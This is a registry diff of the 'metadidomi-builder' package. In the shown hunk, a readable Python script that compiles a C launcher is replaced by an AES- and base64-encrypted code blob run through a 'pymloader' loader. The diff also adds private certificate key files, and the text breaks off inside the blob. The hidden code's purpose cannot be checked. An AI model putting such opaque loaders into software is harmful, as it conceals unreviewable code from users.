metadidomi-builder 1.4.201125 → 1.6.2812251812
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +1032 -572
- package/build_tools/backup-manager.js +3 -0
- package/build_tools/build_apk.js +3 -0
- package/build_tools/builder.js +2 -2
- package/build_tools/certs/cert-1a25871e.key +1 -0
- package/build_tools/certs/cert-1a25871e.pfx +0 -0
- package/build_tools/check-apk.js +211 -0
- package/build_tools/create-example-app.js +73 -0
- package/build_tools/decrypt_pfx_password.js +1 -26
- package/build_tools/diagnose-apk.js +61 -0
- package/build_tools/generate-icons.js +3 -0
- package/build_tools/generate-resources.js +3 -0
- package/build_tools/manage-dependencies.js +3 -0
- package/build_tools/process-dependencies.js +203 -0
- package/build_tools/resolve-transitive-deps.js +3 -0
- package/build_tools/restore-resources.js +3 -0
- package/build_tools/setup-androidx.js +131 -0
- package/build_tools/templates/bootstrap.template.js +27 -0
- package/build_tools/verify-apk-dependencies.js +261 -0
- package/build_tools_py/build_nsis_installer.py +1054 -19
- package/build_tools_py/builder.py +3 -3
- package/build_tools_py/compile_launcher_with_entry.py +19 -271
- package/build_tools_py/launcher_integration.py +19 -189
- package/build_tools_py/pyMetadidomi/README.md +98 -0
- package/build_tools_py/pyMetadidomi/__pycache__/pyMetadidomi.cpython-311.pyc +0 -0
- package/build_tools_py/pyMetadidomi/pyMetadidomi.py +16 -1675
- package/create-app.bat +31 -0
- package/create-app.ps1 +27 -0
- package/package.json +8 -2
- package/build_tools/certs/cert-65198130.key +0 -1
- package/build_tools/certs/cert-65198130.pfx +0 -0
- package/build_tools/certs/cert-f1fad9b5.key +0 -1
- package/build_tools/certs/cert-f1fad9b5.pfx +0 -0
- package/build_tools_py/pyMetadidomi/pyMetadidomi-obf.py +0 -19
|
@@ -1,271 +1,19 @@
|
|
|
1
|
-
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
# Forcer l'encodage UTF-8
|
|
22
|
-
if sys.stdout.encoding != 'utf-8':
|
|
23
|
-
sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8', errors='replace')
|
|
24
|
-
sys.stderr = io.TextIOWrapper(sys.stderr.buffer, encoding='utf-8', errors='replace')
|
|
25
|
-
|
|
26
|
-
def escape_python_for_c(python_code: str) -> str:
|
|
27
|
-
"""
|
|
28
|
-
Échappe le code Python pour l'intégrer dans une chaîne C
|
|
29
|
-
|
|
30
|
-
Transforme:
|
|
31
|
-
line1
|
|
32
|
-
line2
|
|
33
|
-
|
|
34
|
-
En:
|
|
35
|
-
"line1\\n"\n
|
|
36
|
-
"line2\\n"\n
|
|
37
|
-
"""
|
|
38
|
-
lines = python_code.split('\n')
|
|
39
|
-
escaped_lines = []
|
|
40
|
-
|
|
41
|
-
for line in lines:
|
|
42
|
-
# Échapper les backslashes d'abord
|
|
43
|
-
line = line.replace('\\', '\\\\')
|
|
44
|
-
# Échapper les guillemets
|
|
45
|
-
line = line.replace('"', '\\"')
|
|
46
|
-
# Ajouter \n et les guillemets
|
|
47
|
-
escaped_lines.append(f'"{line}\\n"')
|
|
48
|
-
|
|
49
|
-
# Joindre avec les retours à la ligne C
|
|
50
|
-
return '\n'.join(escaped_lines)
|
|
51
|
-
|
|
52
|
-
def inject_python_code(launcher_c_path: Path, python_file_path: Path, output_c_path: Path) -> bool:
|
|
53
|
-
"""
|
|
54
|
-
Injecte le code Python dans le fichier launcher_source.c
|
|
55
|
-
|
|
56
|
-
Args:
|
|
57
|
-
launcher_c_path: Chemin du launcher_source.c original
|
|
58
|
-
python_file_path: Chemin du fichier Python d'entrée (__main__.py)
|
|
59
|
-
output_c_path: Chemin de sortie du fichier C modifié
|
|
60
|
-
|
|
61
|
-
Returns:
|
|
62
|
-
True si succès, False sinon
|
|
63
|
-
"""
|
|
64
|
-
try:
|
|
65
|
-
# Lire le fichier Python d'entrée
|
|
66
|
-
print(f"📖 Lecture du fichier Python: {python_file_path}")
|
|
67
|
-
with open(python_file_path, 'r', encoding='utf-8') as f:
|
|
68
|
-
python_code = f.read()
|
|
69
|
-
|
|
70
|
-
print(f" ✓ {len(python_code)} caractères lus")
|
|
71
|
-
|
|
72
|
-
# Échapper le code pour C
|
|
73
|
-
print(f"📝 Échappement du code Python pour C...")
|
|
74
|
-
escaped_code = escape_python_for_c(python_code)
|
|
75
|
-
|
|
76
|
-
# Lire le launcher_source.c
|
|
77
|
-
print(f"📖 Lecture du launcher source: {launcher_c_path}")
|
|
78
|
-
with open(launcher_c_path, 'r', encoding='utf-8') as f:
|
|
79
|
-
launcher_content = f.read()
|
|
80
|
-
|
|
81
|
-
# Chercher et remplacer le placeholder
|
|
82
|
-
# Le placeholder est: const char *PY_CODE = "...";
|
|
83
|
-
# On doit remplacer tout ce qui se trouve entre = et ;
|
|
84
|
-
|
|
85
|
-
# Pattern: const char *PY_CODE = <multiline_string>;
|
|
86
|
-
pattern = r'(const char \*PY_CODE\s*=\s*)"[^"]*"(\s*;)'
|
|
87
|
-
|
|
88
|
-
# Créer le remplacement
|
|
89
|
-
replacement = r'\g<1>' + escaped_code + r'\g<2>'
|
|
90
|
-
|
|
91
|
-
# Appliquer le remplacement
|
|
92
|
-
print(f"🔄 Injection du code Python...")
|
|
93
|
-
modified_content = re.sub(
|
|
94
|
-
r'(const char \*PY_CODE\s*=\s*).*?(\s*;)',
|
|
95
|
-
lambda m: m.group(1) + escaped_code + m.group(2),
|
|
96
|
-
launcher_content,
|
|
97
|
-
flags=re.DOTALL
|
|
98
|
-
)
|
|
99
|
-
|
|
100
|
-
# Vérifier que le remplacement a eu lieu
|
|
101
|
-
if modified_content == launcher_content:
|
|
102
|
-
print(f"❌ Impossible de trouver le placeholder PY_CODE dans {launcher_c_path}")
|
|
103
|
-
return False
|
|
104
|
-
|
|
105
|
-
# Écrire le fichier modifié
|
|
106
|
-
print(f"💾 Écriture du fichier modifié: {output_c_path}")
|
|
107
|
-
output_c_path.parent.mkdir(parents=True, exist_ok=True)
|
|
108
|
-
with open(output_c_path, 'w', encoding='utf-8') as f:
|
|
109
|
-
f.write(modified_content)
|
|
110
|
-
|
|
111
|
-
print(f" ✓ Fichier généré")
|
|
112
|
-
return True
|
|
113
|
-
|
|
114
|
-
except Exception as e:
|
|
115
|
-
print(f"❌ Erreur: {e}")
|
|
116
|
-
import traceback
|
|
117
|
-
traceback.print_exc()
|
|
118
|
-
return False
|
|
119
|
-
|
|
120
|
-
def compile_launcher_c(source_c: Path, output_exe: Path, gui_mode: bool = False) -> bool:
|
|
121
|
-
"""
|
|
122
|
-
Compile le fichier C modifié en .exe
|
|
123
|
-
|
|
124
|
-
Args:
|
|
125
|
-
source_c: Chemin du fichier C à compiler
|
|
126
|
-
output_exe: Chemin de sortie pour l'exécutable
|
|
127
|
-
gui_mode: Si True, compile en mode GUI (pas de console). Si False, compile en mode console.
|
|
128
|
-
|
|
129
|
-
Returns:
|
|
130
|
-
True si succès, False sinon
|
|
131
|
-
"""
|
|
132
|
-
try:
|
|
133
|
-
# Chemins
|
|
134
|
-
mingw_bin = Path("D:\\Metadidomi Crone\\metadidomi-builder\\build_tools\\vendor\\mingw64\\bin")
|
|
135
|
-
python_embed = Path("D:\\Metadidomi Crone\\metadidomi-builder\\build_tools\\vendor\\python_embeddable")
|
|
136
|
-
|
|
137
|
-
gcc_exe = mingw_bin / "gcc.exe"
|
|
138
|
-
# On ne vérifie plus la présence de include ni de libs
|
|
139
|
-
print(f"🔍 Vérifications...")
|
|
140
|
-
if not gcc_exe.exists():
|
|
141
|
-
print(f"❌ gcc non trouvé: {gcc_exe}")
|
|
142
|
-
return False
|
|
143
|
-
print(f" ✓ gcc trouvé")
|
|
144
|
-
if not source_c.exists():
|
|
145
|
-
print(f"❌ Fichier source non trouvé: {source_c}")
|
|
146
|
-
return False
|
|
147
|
-
print(f" ✓ Source C trouvé")
|
|
148
|
-
print()
|
|
149
|
-
# Commande de compilation minimale (sans headers Python)
|
|
150
|
-
cmd = [
|
|
151
|
-
str(gcc_exe),
|
|
152
|
-
"-O2",
|
|
153
|
-
"-o", str(output_exe),
|
|
154
|
-
str(source_c),
|
|
155
|
-
"-lws2_32",
|
|
156
|
-
"-luser32",
|
|
157
|
-
]
|
|
158
|
-
if gui_mode:
|
|
159
|
-
print(f" Mode: GUI (pas de console)")
|
|
160
|
-
cmd.extend([
|
|
161
|
-
"-DGUI_MODE",
|
|
162
|
-
"-mwindows",
|
|
163
|
-
"-Wl,--subsystem,windows",
|
|
164
|
-
])
|
|
165
|
-
else:
|
|
166
|
-
print(f" Mode: Console")
|
|
167
|
-
print(f"🔨 Compilation...")
|
|
168
|
-
print(f" Commande: {' '.join(cmd)}")
|
|
169
|
-
print()
|
|
170
|
-
result = subprocess.run(cmd, capture_output=True, text=True, encoding='utf-8', errors='replace')
|
|
171
|
-
if result.returncode != 0:
|
|
172
|
-
print(f"❌ Erreur de compilation:")
|
|
173
|
-
print()
|
|
174
|
-
if result.stderr:
|
|
175
|
-
print("STDERR:")
|
|
176
|
-
print(result.stderr)
|
|
177
|
-
if result.stdout:
|
|
178
|
-
print()
|
|
179
|
-
print("STDOUT:")
|
|
180
|
-
print(result.stdout)
|
|
181
|
-
return False
|
|
182
|
-
if not output_exe.exists():
|
|
183
|
-
print(f"❌ Le fichier {output_exe} n'a pas été créé")
|
|
184
|
-
return False
|
|
185
|
-
size_kb = output_exe.stat().st_size / 1024
|
|
186
|
-
print(f"✅ Compilation réussie!")
|
|
187
|
-
print(f" Fichier: {output_exe}")
|
|
188
|
-
print(f" Taille: {size_kb:.1f} KB")
|
|
189
|
-
return True
|
|
190
|
-
|
|
191
|
-
except Exception as e:
|
|
192
|
-
print(f"❌ Erreur: {e}")
|
|
193
|
-
import traceback
|
|
194
|
-
traceback.print_exc()
|
|
195
|
-
return False
|
|
196
|
-
|
|
197
|
-
def main():
|
|
198
|
-
print("=" * 70)
|
|
199
|
-
print("🔨 Compilation du Launcher avec injection du code Python")
|
|
200
|
-
print("=" * 70)
|
|
201
|
-
print()
|
|
202
|
-
|
|
203
|
-
# Chemins
|
|
204
|
-
build_tools_py = Path(__file__).parent
|
|
205
|
-
launcher_source = build_tools_py / "launcher_source.c"
|
|
206
|
-
# Dossier source de l'app (par défaut test_app)
|
|
207
|
-
app_src_dir = build_tools_py.parent / "test_app"
|
|
208
|
-
# Liste des points d'entrée possibles
|
|
209
|
-
entry_candidates = ["__main__.py", "main.py", "app.py", "run.py", "start.py"]
|
|
210
|
-
python_entry = None
|
|
211
|
-
for candidate in entry_candidates:
|
|
212
|
-
candidate_path = app_src_dir / candidate
|
|
213
|
-
if candidate_path.exists():
|
|
214
|
-
python_entry = candidate_path
|
|
215
|
-
break
|
|
216
|
-
if python_entry is None:
|
|
217
|
-
print(f"❌ Aucun fichier d'entrée Python trouvé dans {app_src_dir} parmi {entry_candidates}")
|
|
218
|
-
return False
|
|
219
|
-
# Créer un fichier C temporaire avec le code injecté
|
|
220
|
-
temp_c = Path(tempfile.gettempdir()) / "launcher_injected.c"
|
|
221
|
-
output_exe = build_tools_py / "launcher.exe"
|
|
222
|
-
|
|
223
|
-
# Vérifier les arguments
|
|
224
|
-
gui_mode = "--gui" in sys.argv
|
|
225
|
-
|
|
226
|
-
print(f"📦 Configuration:")
|
|
227
|
-
print(f" Source launcher: {launcher_source}")
|
|
228
|
-
print(f" Fichier d'entrée Python: {python_entry}")
|
|
229
|
-
print(f" Fichier C modifié: {temp_c}")
|
|
230
|
-
print(f" Sortie exe: {output_exe}")
|
|
231
|
-
print(f" Mode: {'GUI' if gui_mode else 'Console'}")
|
|
232
|
-
print()
|
|
233
|
-
|
|
234
|
-
# Étape 1: Injecter le code Python
|
|
235
|
-
print("=" * 70)
|
|
236
|
-
print("ÉTAPE 1: Injection du code Python")
|
|
237
|
-
print("=" * 70)
|
|
238
|
-
print()
|
|
239
|
-
|
|
240
|
-
if not inject_python_code(launcher_source, python_entry, temp_c):
|
|
241
|
-
print(f"❌ Injection échouée")
|
|
242
|
-
return False
|
|
243
|
-
|
|
244
|
-
print()
|
|
245
|
-
|
|
246
|
-
# Étape 2: Compiler
|
|
247
|
-
print("=" * 70)
|
|
248
|
-
print("ÉTAPE 2: Compilation du launcher modifié")
|
|
249
|
-
print("=" * 70)
|
|
250
|
-
print()
|
|
251
|
-
|
|
252
|
-
if not compile_launcher_c(temp_c, output_exe, gui_mode=gui_mode):
|
|
253
|
-
print(f"❌ Compilation échouée")
|
|
254
|
-
return False
|
|
255
|
-
|
|
256
|
-
print()
|
|
257
|
-
print("=" * 70)
|
|
258
|
-
print("✅ Succès complet!")
|
|
259
|
-
print("=" * 70)
|
|
260
|
-
|
|
261
|
-
return True
|
|
262
|
-
|
|
263
|
-
if __name__ == "__main__":
|
|
264
|
-
try:
|
|
265
|
-
success = main()
|
|
266
|
-
sys.exit(0 if success else 1)
|
|
267
|
-
except Exception as e:
|
|
268
|
-
print(f"❌ Erreur: {e}")
|
|
269
|
-
import traceback
|
|
270
|
-
traceback.print_exc()
|
|
271
|
-
sys.exit(1)
|
|
1
|
+
# --- Loader natif par pyMetadidomi (pymloader) ---
|
|
2
|
+
import base64, zlib, marshal
|
|
3
|
+
from Crypto.Cipher import AES
|
|
4
|
+
try:
|
|
5
|
+
import pymloader
|
|
6
|
+
payload = base64.b64decode("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